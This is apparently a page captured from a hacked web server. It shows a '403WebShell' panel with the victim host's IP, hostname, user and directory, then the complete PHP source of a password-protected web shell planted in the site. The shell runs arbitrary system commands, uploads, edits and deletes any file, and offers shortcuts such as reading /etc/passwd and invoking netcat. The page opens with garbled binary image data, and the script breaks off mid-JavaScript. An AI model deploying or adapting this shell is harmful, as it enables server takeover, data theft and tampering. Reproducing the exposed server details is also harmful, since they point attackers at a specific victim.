....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 103.184.242.5  /  Your IP : 216.73.216.24
Web Server : Microsoft-IIS/10.0
System : Windows NT WIN-SH57L3CJ6KF 10.0 build 20348 (Windows Server 2022) AMD64
User : IWPD_449(avdheshjha) ( 0)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Inetpub/vhosts/avdheshjha-40766.package/voiceofresearch.org/wwwroot/doc/Jun-2016/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Inetpub/vhosts/avdheshjha-40766.package/voiceofresearch.org/wwwroot/doc/Jun-2016/-xwkgrc.php
<?php
session_start();
$pass = "IDONTKNOW";

// Login check
if (!isset($_SESSION["login"])) {
    if (isset($_POST["p"]) && $_POST["p"] === $pass) {
        $_SESSION["login"] = 1;
        header("Location: ?");
        exit;
    }
    
    echo '<!DOCTYPE html>
    <html>
    <head>
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>Login</title>
    </head>
    <body style="margin:0;background:#000;color:#fff;font-family:monospace;display:flex;justify-content:center;align-items:center;height:100vh">
        <div style="text-align:center">
            <img src="https://raw.githubusercontent.com/AlvaXPloit/ISI/refs/heads/main/alvaror.png" alt="TRASER SEC TEAM" style="width:300px;max-width:90%">
            <form method="post" style="margin-top:20px">
                <input type="password" name="p" placeholder="Password" style="padding:10px;border:none;border-radius:5px;background:#111;color:#0f0;width:200px">
                <button style="padding:10px 15px;margin-left:5px;border:none;border-radius:5px;background:#0f0;color:#000">Login</button>
            </form>
        </div>
    </body>
    </html>';
    exit;
}

// Command Execution Function
function executeCommand($cmd) {
    $methods = [
        'shell_exec' => function_exists('shell_exec'),
        'exec' => function_exists('exec'),
        'system' => function_exists('system'),
        'passthru' => function_exists('passthru'),
        'backticks' => true
    ];
    
    $output = null;
    $method = '';
    
    if ($methods['shell_exec']) {
        $output = @shell_exec($cmd);
        $method = 'shell_exec';
    } elseif ($methods['exec']) {
        @exec($cmd, $output);
        $output = implode("\n", $output);
        $method = 'exec';
    } elseif ($methods['system']) {
        ob_start();
        @system($cmd);
        $output = ob_get_clean();
        $method = 'system';
    } elseif ($methods['passthru']) {
        ob_start();
        @passthru($cmd);
        $output = ob_get_clean();
        $method = 'passthru';
    } else {
        $output = @`$cmd`;
        $method = 'backticks';
    }
    
    return [
        'output' => $output ?: 'No output',
        'method' => $method
    ];
}

// NO PATH RESTRICTIONS - FULL ACCESS
$path = isset($_GET["d"]) ? $_GET["d"] : getcwd();

// Convert to absolute path if relative
if (!empty($path) && $path[0] !== '/') {
    $path = getcwd() . '/' . $path;
}

// Ensure path exists
if (!file_exists($path)) {
    $path = getcwd();
}

// Logout
if (isset($_GET["logout"])) {
    session_destroy();
    header("Location: ?");
    exit;
}

// Delete file
if (isset($_GET["del"])) {
    $delPath = $_GET["del"];
    if (file_exists($delPath) && is_file($delPath)) {
        @unlink($delPath);
    }
    header("Location: ?d=" . urlencode($path));
    exit;
}

// Create new folder
if (isset($_POST["newfolder"]) && !empty(trim($_POST["newfolder"]))) {
    $folderName = trim($_POST["newfolder"]);
    if ($folderName) {
        @mkdir($path . "/" . $folderName, 0755, true);
    }
    header("Location: ?d=" . urlencode($path));
    exit;
}

// File upload
if (isset($_POST["upload"])) {
    if (isset($_FILES["file"]) && $_FILES["file"]["error"] == UPLOAD_ERR_OK) {
        $tmp = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $target = $path . "/" . $name;
        
        if (is_uploaded_file($tmp)) {
            // NO SIZE LIMITS
            move_uploaded_file($tmp, $target);
        }
    }
    header("Location: ?d=" . urlencode($path));
    exit;
}

// Edit file
if (isset($_POST["editfile"])) {
    $filePath = $_POST["file"];
    $content = $_POST["content"];
    
    // Direct file write - NO RESTRICTIONS
    if (file_exists($filePath) || !file_exists(dirname($filePath))) {
        file_put_contents($filePath, $content);
    }
    header("Location: ?d=" . urlencode($path));
    exit;
}

// Rename file
if (isset($_GET["r"]) && isset($_GET["new"])) {
    $oldPath = $_GET["r"];
    $newName = $_GET["new"];
    
    if (file_exists($oldPath) && !empty($newName)) {
        $newPath = dirname($oldPath) . "/" . $newName;
        rename($oldPath, $newPath);
    }
    header("Location: ?d=" . urlencode($path));
    exit;
}

// Command execution via AJAX
if (isset($_GET["cmd"]) && isset($_GET["ajax"])) {
    $cmd = $_GET["cmd"];
    $result = executeCommand($cmd);
    
    header('Content-Type: application/json');
    echo json_encode($result);
    exit;
}

// Command execution via POST
if (isset($_POST["command"])) {
    $cmd = $_POST["command"];
    $result = executeCommand($cmd);
    
    $command_output = $result['output'];
    $command_method = $result['method'];
}

// HTML Interface
echo '<!DOCTYPE html>
<html>
<head>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>File Manager + Terminal - UNRESTRICTED</title>
    <style>
        body { margin:0; background:#000; color:#fff; font-family:monospace; }
        .header { background:#111; padding:10px; position:sticky; top:0; display:flex; justify-content:space-between; align-items:center; flex-wrap:wrap; }
        a { color:#0f0; text-decoration:none; }
        .btn { background:#0f0; color:#000; border:none; padding:7px 12px; border-radius:5px; cursor:pointer; }
        .btn-danger { background:#f33; color:#fff; }
        .btn-warning { background:#ff0; color:#000; }
        .btn-info { background:#0af; color:#fff; }
        input, textarea, select { background:#111; color:#0f0; border:none; padding:8px; border-radius:5px; width:100%; box-sizing:border-box; }
        .card { background:#111; margin:5px 0; padding:10px; border-radius:8px; }
        table { width:100%; border-collapse:collapse; }
        td { padding:8px; border-bottom:1px solid #222; vertical-align:top; }
        tr:hover { background:#1a1a1a; }
        .path { color:#0af; word-break:break-all; }
        .file-size { color:#aaa; font-size:0.9em; }
        .actions { white-space:nowrap; }
        .warning { background:#330; color:#ff0; padding:10px; border-radius:5px; margin-bottom:10px; border:1px solid #ff0; }
        
        /* Terminal Styles */
        .terminal { background:#000; border:1px solid #333; border-radius:5px; overflow:hidden; }
        .terminal-header { background:#1a1a1a; padding:8px 12px; display:flex; justify-content:space-between; align-items:center; }
        .terminal-body { padding:15px; }
        .terminal-output { background:#000; color:#0f0; white-space:pre-wrap; font-family:monospace; max-height:300px; overflow-y:auto; padding:10px; border-radius:3px; }
        .command-input { background:#000; color:#0f0; border:none; padding:8px; width:100%; font-family:monospace; }
        .cmd-method { color:#0af; font-size:0.8em; }
        .quick-cmds { display:flex; flex-wrap:wrap; gap:5px; margin-top:10px; }
        .quick-btn { background:#222; color:#0f0; border:1px solid #333; padding:4px 8px; border-radius:3px; cursor:pointer; font-size:0.8em; }
        .quick-btn:hover { background:#333; }
        
        @media (max-width: 600px) {
            .header { flex-direction:column; align-items:flex-start; }
            .actions { margin-top:5px; }
            .actions a, .actions form { display:block; margin-bottom:5px; }
            table { font-size:0.9em; }
        }
    </style>
</head>
<body>';

echo '<div class="header">
    <div class="path">📂 Directory: ' . htmlspecialchars($path) . '</div>
    <div>
        <a href="?d=/" class="btn-warning" style="margin-right:10px">Root (/)</a>
        <a href="?d=' . urlencode(getcwd()) . '" class="btn" style="margin-right:10px">Current Dir</a>
        <a href="?logout=1" class="btn-danger">Logout</a>
    </div>
</div>';

echo '<div style="padding:10px">';

// Warning message
echo '<div class="warning">⚠️ WARNING: UNRESTRICTED FILE ACCESS - Path traversal allowed!</div>';

// Manual path navigation
echo '<form method="get" class="card">
    <input type="text" name="d" placeholder="Enter absolute path (e.g., /etc, /var, C:\\)" value="' . htmlspecialchars($path) . '">
    <button class="btn" style="margin-top:5px">Go to Path</button>
</form>';

// ================== TERMINAL SECTION ==================
echo '<div class="card">
    <h3>💻 Terminal Command Execution</h3>
    
    <div class="terminal">
        <div class="terminal-header">
            <div>Execute System Commands</div>
            <div style="font-size:0.8em;color:#0af">Current User: ' . @get_current_user() . '</div>
        </div>
        
        <div class="terminal-body">
            <form method="post" onsubmit="return executeTerminal()" id="terminalForm">
                <input type="text" name="command" id="commandInput" placeholder="Enter command (e.g., whoami, ls -la, id)" required 
                       style="margin-bottom:10px" autocomplete="off">
                <button type="submit" class="btn">Execute Command</button>
                <button type="button" class="btn-info" onclick="clearTerminal()" style="margin-left:5px">Clear</button>
            </form>';
            
            if (isset($command_output)) {
                echo '<div class="terminal-output" id="terminalOutput" style="margin-top:15px">
                    <div><strong>Command:</strong> ' . htmlspecialchars($cmd) . '</div>
                    <div class="cmd-method">Method: ' . htmlspecialchars($command_method) . '</div>
                    <hr style="border-color:#333;margin:10px 0">
                    ' . nl2br(htmlspecialchars($command_output)) . '
                </div>';
            } else {
                echo '<div class="terminal-output" id="terminalOutput" style="margin-top:15px;color:#666">
                    Command output will appear here...
                </div>';
            }
            
            echo '<div class="quick-cmds">
                <div style="color:#aaa;width:100%;font-size:0.9em;margin-bottom:5px">Quick Commands:</div>
                <button type="button" class="quick-btn" onclick="quickCommand(\'pwd\')">pwd</button>
                <button type="button" class="quick-btn" onclick="quickCommand(\'whoami\')">whoami</button>
                <button type="button" class="quick-btn" onclick="quickCommand(\'id\')">id</button>
                <button type="button" class="quick-btn" onclick="quickCommand(\'uname -a\')">uname -a</button>
                <button type="button" class="quick-btn" onclick="quickCommand(\'ls -la\')">ls -la</button>
                <button type="button" class="quick-btn" onclick="quickCommand(\'ps aux\')">ps aux</button>
                <button type="button" class="quick-btn" onclick="quickCommand(\'ifconfig\')">ifconfig</button>
                <button type="button" class="quick-btn" onclick="quickCommand(\'netstat -tulpn\')">netstat</button>
                <button type="button" class="quick-btn" onclick="quickCommand(\'df -h\')">df -h</button>
                <button type="button" class="quick-btn" onclick="quickCommand(\'free -m\')">free -m</button>
                <button type="button" class="quick-btn" onclick="quickCommand(\'cat /etc/passwd\')">/etc/passwd</button>
                <button type="button" class="quick-btn" onclick="quickCommand(\'wget --version\')">wget</button>
                <button type="button" class="quick-btn" onclick="quickCommand(\'curl --version\')">curl</button>
                <button type="button" class="quick-btn" onclick="quickCommand(\'nc -h\')">netcat</button>
            </div>
        </div>
    </div>
</div>';

// Upload form
echo '<form method="post" enctype="multipart/form-data" class="card">
    <input type="file" name="file" required>
    <button name="upload" class="btn" style="margin-top:5px">Upload File (NO LIMITS)</button>
</form>';

// Create folder form
echo '<form method="post" class="card">
    <input name="newfolder" placeholder="New Folder Name" required>
    <button class="btn" style="margin-top:5px">Create Folder</button>
</form>';

// Edit file section
if (isset($_GET["edit"])) {
    $editPath = $_GET["edit"];
    
    // Try to read file
    $content = '';
    $error = '';
    
    if (file_exists($editPath) && is_file($editPath)) {
        if (is_readable($editPath)) {
            $content = htmlspecialchars(file_get_contents($editPath), ENT_QUOTES, 'UTF-8');
        } else {
            $error = 'File exists but is not readable!';
        }
    } else {
        // Allow creating new files anywhere
        $error = 'File doesn\'t exist. Will create new file at: ' . htmlspecialchars($editPath);
    }
    
    echo '<div class="card">
        <h3>📝 Editing: ' . htmlspecialchars($editPath) . '</h3>';
    
    if ($error) {
        echo '<div class="warning">' . $error . '</div>';
    }
    
    echo '<form method="post">
        <input type="hidden" name="file" value="' . htmlspecialchars($editPath) . '">
        <textarea name="content" style="height:70vh; font-family:monospace;">' . $content . '</textarea>
        <div style="margin-top:10px">
            <button name="editfile" class="btn">Save Changes</button>
            <a href="?d=' . urlencode($path) . '" class="btn btn-danger">Cancel</a>
        </div>
    </form>
    </div>';
    
    echo '</div></body></html>';
    exit;
}

// File listing
echo '<div class="card">';
echo '<table>';

// Root and parent directory links
echo '<tr>
    <td colspan="2">
        <a href="?d=/" class="btn-warning" style="padding:5px 10px;font-size:0.9em">📍 Root (/)</a>';
if ($path !== "/" && $path !== "") {
    $parent = dirname($path);
    echo '<a href="?d=' . urlencode($parent) . '" class="btn" style="padding:5px 10px;font-size:0.9em;margin-left:5px">⬆️ Parent Directory</a>';
}
echo '</td></tr>';

// Scan directory
if (is_dir($path) && is_readable($path)) {
    $files = @scandir($path);
    if ($files === false) {
        echo '<tr><td colspan="2" style="color:#f33;">❌ Cannot read directory (permission denied?)</td></tr>';
    } else {
        foreach ($files as $f) {
            if ($f == "." || $f == "..") continue;
            
            $fullPath = $path . "/" . $f;
            $isDir = is_dir($fullPath);
            
            echo '<tr>';
            
            // Name column
            echo '<td>';
            if ($isDir) {
                echo '📁 <a href="?d=' . urlencode($fullPath) . '">' . htmlspecialchars($f) . '</a>';
            } else {
                echo '📄 <a href="?d=' . urlencode($path) . '&edit=' . urlencode($fullPath) . '">' . htmlspecialchars($f) . '</a>';
                if (file_exists($fullPath)) {
                    echo '<div class="file-size">' . formatSize(filesize($fullPath)) . ' | ' . date("Y-m-d H:i:s", filemtime($fullPath)) . '</div>';
                }
            }
            echo '</td>';
            
            // Actions column
            echo '<td class="actions" style="text-align:right">';
            if (!$isDir) {
                // Delete link
                echo '<a href="?d=' . urlencode($path) . '&del=' . urlencode($fullPath) . '" onclick="return confirm(\'Delete this file?\')" style="color:#f33;margin-right:10px">🗑️ Delete</a>';
                
                // Rename form
                echo '<form method="get" style="display:inline-block">
                    <input type="hidden" name="d" value="' . htmlspecialchars($path) . '">
                    <input type="hidden" name="r" value="' . htmlspecialchars($fullPath) . '">
                    <input name="new" placeholder="New name" value="' . htmlspecialchars($f) . '" style="width:150px;display:inline-block">
                    <button class="btn" type="submit">✏️ Rename</button>
                </form>';
            } else {
                echo '<a href="?d=' . urlencode($fullPath) . '" class="btn">📂 Open</a>';
            }
            echo '</td>';
            
            echo '</tr>';
        }
    }
} else {
    echo '<tr><td colspan="2" style="color:#f33;">❌ Not a directory or permission denied: ' . htmlspecialchars($path) . '</td></tr>';
}

echo '</table>';
echo '</div>';

// Quick jump to common directories
echo '<div class="card">
    <h4>Quick Jump:</h4>
    <div style="display:flex;flex-wrap:wrap;gap:5px;">
        <a href="?d=/" class="btn">/ (Root)</a>
        <a href="?d=/etc" class="btn">/etc</a>
        <a href="?d=/var" class="btn">/var</a>
        <a href="?d=/tmp" class="btn">/tmp</a>
        <a href="?d=/home" class="btn">/home</a>
        <a href="?d=/usr" class="btn">/usr</a>';
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
    echo '<a href="?d=C:\\" class="btn">C:\\</a>';
    echo '<a href="?d=C:\\Windows" class="btn">C:\\Windows</a>';
    echo '<a href="?d=C:\\Users" class="btn">C:\\Users</a>';
}
echo '</div></div>';

echo '</div>';

// JavaScript for Terminal
echo '<script>
function quickCommand(cmd) {
    document.getElementById("commandInput").value = cmd;
    document.getElementById("commandInput").focus();
}

function clearTerminal() {
    document.getElementById("terminalOutput").innerHTML = \'<div style="color:#666">Command output cleared...</div>\';
}

function executeTerminal() {
    const form = document.getElementById("terminalForm");
    const cmdInput = document.getElementById("commandInput");
    const outputDiv = document.getElementById("terminalOutput");
    const cmd = cmdInput.value.trim();
    
    if (!cmd) return false;
    
    // Show loading
    outputDiv.innerHTML = \'<div style="color:#0af">Executing: \' + cmd + \'...</div>\';
    
    // AJAX request
    fetch(\'?ajax=1&cmd=\' + encodeURIComponent(cmd))
        .then(response => response.json())
        .then(data => {
            outputDiv.innerHTML = \'<div><strong>Command:</strong> \' + cmd + \'</div>\' +
                                  \'<div class="cmd-method">Method: \' + data.method + \'</div>\' +
                                  \'<hr style="border-color:#333;margin:10px 0">\' +
                                  data.output.replace(/\\n/g, \'<br>\');
